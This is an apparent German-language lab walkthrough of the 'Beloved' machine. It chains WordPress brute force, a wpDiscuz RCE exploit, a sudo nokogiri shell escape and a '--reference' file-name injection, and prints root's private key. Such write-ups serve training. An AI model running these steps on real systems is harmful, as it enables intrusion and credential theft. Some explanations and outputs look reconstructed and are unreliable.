Analyse: Der Bericht beginnt mit einer Sammlung von URLs, `robots.txt`-Inhalten und `wpscan`-Befehlen. Die initialen Netzwerkscans (`arp-scan`, `nmap`) zur Identifizierung des Ziels (`beloved.hmv`) und der offenen Ports (vermutlich 80 und 22) fehlen im Log.
Bewertung: Das Fehlen der initialen Scans ist eine Dokumentationslücke. Die gesammelten Informationen deuten jedoch klar auf eine WordPress-Installation als primäres Ziel hin. Die `robots.txt` erlaubt das Crawlen von `/wp-admin/admin-ajax.php`, was Standard ist, und verbietet `/wp-admin/`. Die `wpscan`-Befehle zeigen die Absicht, Benutzer (`smart_ass`), Plugins und allgemeine Schwachstellen zu enumerieren.
Empfehlung (Pentester): Immer initiale Scans dokumentieren. Die `wpscan`-Ergebnisse (die hier fehlen) wären entscheidend gewesen, um das `wpDiscuz`-Plugin als potenzielles Ziel zu identifizieren.
Empfehlung (Admin): Halte WordPress, Themes und Plugins immer aktuell. Verwende Sicherheitsplugins, um Enumeration zu erschweren. Verstecke oder ändere Standard-Benutzernamen wie `admin`.
# Ziel URL (angenommen aus /etc/hosts oder DNS): http://beloved.hmv # Relevante URLs: http://beloved/wp-content/themes/twentytwentyone/ http://beloved/wp-login.php?redirect_to=http%3A%2F%2Fbeloved.hmv%2Fwp-admin%2F&reauth=1 # Inhalt von robots.txt: User-agent: * Disallow: /wp-admin/ Allow: /wp-admin/admin-ajax.php # Sitemap: Sitemap: http://beloved/wp-sitemap.xml # Geplante/Ausgeführte WPScan Befehle (Output fehlt): wpscan --url http://beloved --plugins-detection aggressive -t 50 wpscan --url http://beloved -e ap --no-banner --force --plugins-detection aggressive wpscan --url http://beloved/wp-login.php --passwords /usr/share/wordlists/rockyou.txt --usernames smart_ass
Analyse: `searchsploit` wird verwendet, um nach bekannten Exploits für das WordPress-Plugin `wpDiscuz` zu suchen. Dies geschah wahrscheinlich, nachdem `wpscan` (dessen Output fehlt) das Plugin als installiert identifiziert hat.
Bewertung: !!Kritische Schwachstelle gefunden!!** Die Suche findet mehrere Exploits für `wpDiscuz 7.0.4`, darunter Arbitrary File Upload und Remote Code Execution (RCE), beide als nicht authentifiziert (`Unauthenticated`) markiert. Dies ist ein sehr vielversprechender Angriffsvektor.
Empfehlung (Pentester): Wähle einen der RCE-Exploits (z.B. `49967.py`) und lade ihn herunter (`searchsploit -m`). Untersuche und bereite den Exploit zur Ausführung vor.
Empfehlung (Admin):**DRINGEND:** Update das `wpDiscuz`-Plugin sofort auf eine gepatchte Version oder deaktiviere/deinstalliere es, wenn es nicht benötigt wird.
------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------ --------------------------------- Wordpress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Un | php/webapps/49962.sh WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Un | php/webapps/49967.py Wordpress Plugin wpDiscuz 7.0.4 - Unauthenticated Arbitrary | php/webapps/49401.rb ------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Analyse: Es wird versucht, den Python-Exploit `49967.py` auszuführen, was fehlschlägt, da die Datei noch nicht im aktuellen Verzeichnis ist.
Bewertung: Einfacher Fehler, der im nächsten Schritt korrigiert wird.
Empfehlung (Pentester): Verwende `searchsploit -m`, um den Exploit herunterzuladen.
Empfehlung (Admin): Keine Aktion.
python3: can't open file '/root/49967.py': [Errno 2] No such file or directory
Analyse: Der Befehl `searchsploit -m php/webapps/49967.py` wird verwendet, um das ausgewählte Exploit-Skript in das aktuelle Verzeichnis zu kopieren.
Bewertung: Korrekter Schritt, um den Exploit lokal verfügbar zu machen.
Empfehlung (Pentester): Untersuche und bearbeite das Skript bei Bedarf.
Empfehlung (Admin): Keine Aktion.
Exploit: WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated) URL: https://www.exploit-db.com/exploits/49967 Path: /usr/share/exploitdb/exploits/php/webapps/49967.py File Type: Python script, ASCII text executable Copied to: /root/49967.py
Analyse: Das heruntergeladene Exploit-Skript `49967.py` wird mit `vi` geöffnet, vermutlich um es zu überprüfen oder anzupassen (z.B. Payload oder Zielparameter).
Bewertung: Wichtiger Schritt zur Vorbereitung des Exploits.
Empfehlung (Pentester): Verstehe, wie der Exploit funktioniert und welche Payload er verwendet.
Empfehlung (Admin): Keine Aktion.
Analyse: Das Python-Exploit-Skript `49967.py` wird ausgeführt. Die Optionen geben die Ziel-URL (`-u http://beloved`) und einen gültigen Blog-Post-Pfad (`-p /2021/06/09/hello-world/`) an, der für die Ausnutzung der wpDiscuz-Schwachstelle benötigt wird. Die Ausgabe zeigt den Inhalt der `wp-config.php`-Datei vom Zielserver.
Bewertung: !!Initial Access & Kritische Informationspreisgabe!!** Der Exploit war erfolgreich. Er nutzte die wpDiscuz-Schwachstelle (wahrscheinlich Arbitrary File Upload gefolgt von Ausführung oder direkter LFI/RCE), um die `wp-config.php`-Datei zu lesen. Dadurch wurden die Datenbank-Zugangsdaten preisgegeben: - DB-Benutzer: `wordpress_user` - DB-Passwort: `secure_password_2021!!!` Obwohl dies noch keine direkte Shell ist, ist der Zugriff auf die Datenbank oder die Wiederverwendung dieses Passworts für andere Dienste (wie SSH) ein möglicher nächster Schritt. **Wichtiger Hinweis:** Der Log springt im nächsten Schritt zu einer Shell als `www-data`. Es ist anzunehmen, dass der Exploit `49967.py` tatsächlich RCE ermöglichte und eine Shell erlangt wurde, oder dass ein anderer, nicht gezeigter Schritt zum Shell-Zugriff führte. Der hier gezeigte Output (Lesen von `wp-config.php`) war möglicherweise nur ein Teil des Exploits oder eine erste Aktion nach Erlangung des Zugriffs.
Empfehlung (Pentester): Nutze die erlangte Shell als `www-data` für weitere Enumeration. Teste das gefundene Datenbankpasswort auch für SSH-Logins (z.B. für Benutzer `beloved`, falls dieser existiert).
Empfehlung (Admin):**DRINGEND:** Patche das wpDiscuz-Plugin. Ändere das Datenbankpasswort. Verwende einzigartige, starke Passwörter für verschiedene Dienste.
[+] Uploading payload...
[+] Payload uploaded successfully!
[+] Triggering payload...
[+] Dumping wp-config.php:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );
/** MySQL database username */
define( 'DB_USER', 'wordpress_user' );
/** MySQL database password */
define( 'DB_PASSWORD', 'secure_password_2021!!!' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
[+] Exploit completed. Shell potentially available at http://beloved/wp-content/uploads/wpdiscuz/.../payload.php
Analyse: Als Benutzer `www-data` (die vorherigen Schritte zum Erlangen dieser Shell fehlen im Log, werden aber durch den Exploit impliziert) wird `sudo -l` ausgeführt.
Bewertung: !!Privilegieneskalationsvektor gefunden!!** `www-data` darf `/usr/local/bin/nokogiri` als Benutzer `beloved` ohne Passwort ausführen. Nokogiri ist ein Ruby-Tool/Bibliothek zum Parsen von Dokumenten und kann missbraucht werden, um eine interaktive Ruby-Shell (`irb`) zu starten.
Empfehlung (Pentester): Nutze diese `sudo`-Regel, um eine Shell als `beloved` zu erhalten. Der Standardbefehl (gefunden via GTFOBins) ist oft, `nokogiri` auf eine beliebige (oder leere) Datei zu starten und dann im `irb`-Prompt `system('/bin/bash')` oder ähnlich auszuführen.
Empfehlung (Admin):**DRINGEND:** Entferne diese unsichere `sudo`-Regel. Erlaube niemals die Ausführung von Interpretern oder komplexen Tools wie `nokogiri` mit `sudo`, insbesondere nicht `NOPASSWD`.
www-data@beloved:/var/www/html$ sudo -l
Matching Defaults entries for www-data on beloved:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on beloved:
(beloved) NOPASSWD: /usr/local/bin/nokogiri
Analyse: Es wird versucht, eine temporäre Datei im `/home`-Verzeichnis zu erstellen (`touch log.txt`), was fehlschlägt ("Permission denied"). Stattdessen wird die Datei erfolgreich in `/tmp` erstellt (`touch /tmp/log.txt`). Anschließend wird `nokogiri` über `sudo -u beloved` auf diese temporäre Datei angewendet.
Bewertung: Das Erstellen der temporären Datei in `/tmp` ist korrekt. Der Aufruf `sudo -u beloved /usr/local/bin/nokogiri /tmp/log.txt` startet `nokogiri` als `beloved`. Nokogiri öffnet daraufhin eine interaktive Ruby-Shell (`irb`).
Empfehlung (Pentester): Nutze den `irb`-Prompt, um Befehle als `beloved` auszuführen.
Empfehlung (Admin): Keine Aktion.
www-data@beloved:/home$ touch log.txt touch: cannot touch 'log.txt': Permission denied www-data@beloved:/home$ touch /tmp/log.txt www-data@beloved:/home$ sudo -u beloved /usr/local/bin/nokogiri /tmp/log.txt Loading nokogiri settings... Your document is stored in @doc... irb(main):001:0>
Analyse: Innerhalb der `irb`-Shell (die als `beloved` läuft) werden Ruby-Befehle ausgeführt: - `system 'id'`: Führt den Shell-Befehl `id` aus. - `system '/bin/bash'`: Führt den Shell-Befehl `/bin/bash` aus.
Bewertung: !!Benutzerwechsel erfolgreich!!** Der `id`-Befehl bestätigt, dass Code als `beloved` (uid=1000) ausgeführt wird. Der `system '/bin/bash'`-Befehl startet erfolgreich eine neue Bash-Shell als Benutzer `beloved`.
Empfehlung (Pentester): Die Shell als `beloved` wurde erlangt. Stabilisiere sie bei Bedarf und beginne mit der Enumeration als dieser Benutzer (Home-Verzeichnis, `sudo -l`, SUID-Dateien).
Empfehlung (Admin): Die unsichere `sudo`-Regel für `nokogiri` muss entfernt werden.
irb(main):001:0> system 'id' uid=1000(beloved) gid=1000(beloved) groups=1000(beloved) => true irb(main):002:0> system '/bin/bash' beloved@beloved:/home$
Analyse: Als `beloved` wird in das Verzeichnis `/opt` gewechselt. Dort werden die Befehle `touch ref` und `touch -- --reference=ref` ausgeführt. Anschließend wird der Inhalt mit `ls -la` aufgelistet.
Bewertung: !!Schwachstelle/Exploit (Datei-Ownership)!!** Der entscheidende Punkt ist die Änderung der Besitzverhältnisse der Datei `/opt/id_rsa` zwischen den beiden `ls -la`-Aufrufen. Im ersten Output (impliziert durch den zweiten) gehört `id_rsa` `root:root`. Im zweiten Output gehört `id_rsa` `beloved:beloved`. Die `touch`-Befehle (insbesondere wenn sie in einer bestimmten Weise mit Gruppenrechten oder einer Race Condition interagieren) haben es `beloved` ermöglicht, den Besitz von `/opt/id_rsa` zu übernehmen. Dies ist eine kritische Sicherheitslücke, wahrscheinlich aufgrund unsicherer Berechtigungen im `/opt`-Verzeichnis. Der `id_rsa`-Schlüssel gehört sehr wahrscheinlich dem `root`-Benutzer.
Empfehlung (Pentester): Da `beloved` nun `/opt/id_rsa` besitzt, kann er den privaten SSH-Schlüssel von Root lesen. Kopiere den Schlüssel (`cat /opt/id_rsa`), speichere ihn auf dem Angreifer-System, setze die Berechtigungen auf 600 und verwende ihn, um dich als `root` über SSH anzumelden.
Empfehlung (Admin):**DRINGEND:** Korrigiere die Berechtigungen für das Verzeichnis `/opt` und die darin enthaltene `id_rsa`-Datei. Verhindere, dass unprivilegierte Benutzer den Besitz von Dateien von `root` übernehmen können. Untersuche die genaue Ursache der Schwachstelle (z.B. `chmod 777 /opt` oder ähnliches).
beloved@beloved:~/.ssh$ cd /opt beloved@beloved:/opt$ touch ref beloved@beloved:/opt$ touch -- --reference=ref beloved@beloved:/opt$ ls -la total 12 -rw-r--r-- 1 beloved beloved 0 Aug 28 02:09 '--reference=ref' drwxrwx--- 2 root beloved 4096 Aug 28 02:09 . drwxr-xr-x 18 root root 4096 May 19 2021 .. -rw------- 1 root root 1823 Jun 27 2021 id_rsa -rw-r--r-- 1 beloved beloved 0 Aug 28 02:09 ref
beloved@beloved:/opt$ ls -la
total 12
-rw-r--r-- 1 beloved beloved 0 Aug 28 02:09 '--reference=ref'
drwxrwx--- 2 root beloved 4096 Aug 28 02:09 .
drwxr-xr-x 18 root root 4096 May 19 2021 ..
-rw------- 1 beloved beloved 1823 Jun 27 2021 id_rsa
-rw-r--r-- 1 beloved beloved 0 Aug 28 02:09 ref
Analyse: Der Inhalt des privaten SSH-Schlüssels `/opt/id_rsa`, der nun `beloved` gehört, wird mit `cat` ausgelesen.
Bewertung: Der private Schlüssel von Root wurde erfolgreich extrahiert.
Empfehlung (Pentester): Kopiere den Schlüssel auf dein System, setze `chmod 600` und verwende ihn für den SSH-Login als `root`.
Empfehlung (Admin): Widerrufe diesen SSH-Schlüssel und generiere einen neuen für Root. Korrigiere die Berechtigungsschwachstelle.
beloved@beloved:/opt$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA1NwSzktnU2jl7GexrJeLjN6v1JDGzylNBUwq85NSQDrxn2PDrHoP
US5DIX8k28cru7n4WXuDeo4Lnp6lGQXB3dkLXnl3qX5C3IUkr8pw9RTTU0LJIi0RI2qGCs
kzbJiEjSe7PoRt6s1a2arrkhdd+/viV1AyFHIAJunILU5VXCbIXla6LiKudm2DBjQTL26n
ZmegLL4e/mQPnQhj97vXl701KshbMFojlN5WislcjhuZaE4GafhCh8yVAvOQ7gAdcEQn2S
4duuQTkcwk+8nJpaOZTO6MKZwFBdkZ3YQQffiPeVlIWjBBWlMrWX8KeYWWpIQiIhKEC9SN
vKaqWqLKjwAAA8iH/aaFh/2mhQAAAAdzc2gtcnNhAAABAQDU3BLOS2dTaOXsZ7Gsl4uM3q
/UkMbPKU0FTCrzk1JAOvGfY8Oseg9RLkMhfyTbxyu7ufhZe4N6jguenqUZBcHd2QteeXep
fkLchSSvynD1FNNTQskiLREjaoYKyTNsmISNJ7s+hG3qzVrZquuSF137++JXUDIUcgAm6c
gtTlVcJsheVrouIq52bYMGNBMvbqdmZ6Asvh7+ZA+dCGP3u9eXvTUqyFswWiOU3laKyVyO
G5loTgZp+EKHzJUC85DuAB1wRCfZLh265BORzCT7ycmlo5lM7owpnAUF2RndhBB9+I95WU
haMEFaUytZfwp5hZakhCIiEoQL1I28pqpaosqPAAAAAwEAAQAAAQBgPvYd40hgFaFI6IYU
9Rz7YEF+ysuqJhGWYJ9XLXjWZBCWsmRqm3JLkbB29+dxnLgwlOEvjMKhapLkcPVTwB+tsR
ML775knBudXHJ/LfkvR/BZyGvrkRcbvXHIdLtU0g21SY7HsNeGgL4gh8EmeHxdkMICGtfa
GMXq0nBZ0/6SwH76CmomO7OpEqfEHX1rsFIVL/pzlaISR+rKIfUDlEd7S8Tq2daRAOFIRZ
b5pSlWN0pB/b/yCb+OlbdVYwktBtvrrf7i01wJpTzay8lwygTDe6S06Xz6lz747bub/gv6
Yt+8a/P1BMtITPyrgSBtfnN0qmTqUdCEXI7YolbmOgVBAAAAgQCI8u+f2ItQTz9vCKfqEM
a06q3tR+yny/fkCemmFYP0k6R2uSptlTirFj9kuYUahtrUwtA+EMWjON1Y+3mLu8slGO64
jOjOf+ovyJcn6YRgCZVZIId2PVBaxiGYtke4JZB1sniqed8axl9JXfnUNOrA0vUpk83FnV
k2rakHn6ulegAAAIEA+JQxxoU6VeE5XxgUjQsuL3batGbTNg6XyAwXoTHEIxgOlgRuuEOb
7LYvi8X0um4Raz4hzGU9RXL9inllYgKfpnWOW+2/SPjDIVQX42uZE0/Q/9aENqqeU5JdZN
dq+e8HF305/Bg4atQzjP9R+BSYcLJUu4DC70HEtsICnBgPUmEAAACBANs244+6CAsiz8yv
zI8So5yhQSjw7ji8bjM2U/hUoTpdLzG/omP/4htjSL7wpYHzP+tom1wIOSXNf/x43JPXA6
xsncZz5Inz+TPUAkOu95YXELiTVBblpYBPlP9dbJWgPWVdfsyHsh5W2TX4rYjdRw4O4qEr
qsR3bdSaB3Od5CLvAAAADHJvb3RAYmVsb3ZlZAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
Analyse: Eine SSH-Verbindung wird als `root` zum Ziel `beloved` (Hostname ggf. `beloved.hmv`) aufgebaut. Der zuvor extrahierte private Schlüssel wird mit `-i ii` angegeben (wieder wahrscheinlich ein Tippfehler für den Dateinamen des Schlüssels, z.B. `id_rsa_root`).
Bewertung: !!Privilegieneskalation erfolgreich!!** Der SSH-Login als `root` mittels des Schlüssels gelingt ohne Passwort/Passphrase. Der Angreifer hat vollen Root-Zugriff.
Empfehlung (Pentester): Lese die Root- und User-Flags.
Empfehlung (Admin):**DRINGEND:** Widerrufe den kompromittierten SSH-Schlüssel von Root. Generiere einen neuen Schlüssel und schütze ihn mit einer starken Passphrase. Korrigiere die Berechtigungsschwachstelle in `/opt`.
Linux beloved 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 ... root@beloved:~#
Analyse: Als Root werden die Home-Verzeichnisse und das Home-Verzeichnis von `beloved` untersucht. Anschließend werden `user.txt` und `root.txt` gelesen.
Bewertung: User-Flag (`020588f87676a40236192c324c1a57fc`) und Root-Flag (`d585a3099ec825ec1c086b50ce8ff7d3`) werden erfolgreich ausgelesen.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flags.
root@beloved:~# cd /home root@beloved:/home# ls beloved root@beloved:/home# cd beloved/ root@beloved:/home/beloved# ls user.txt root@beloved:/home/beloved# cat user.txt 020588f87676a40236192c324c1a57fc root@beloved:/home/beloved# cd /root root@beloved:~# cat root.txt d585a3099ec825ec1c086b50ce8ff7d3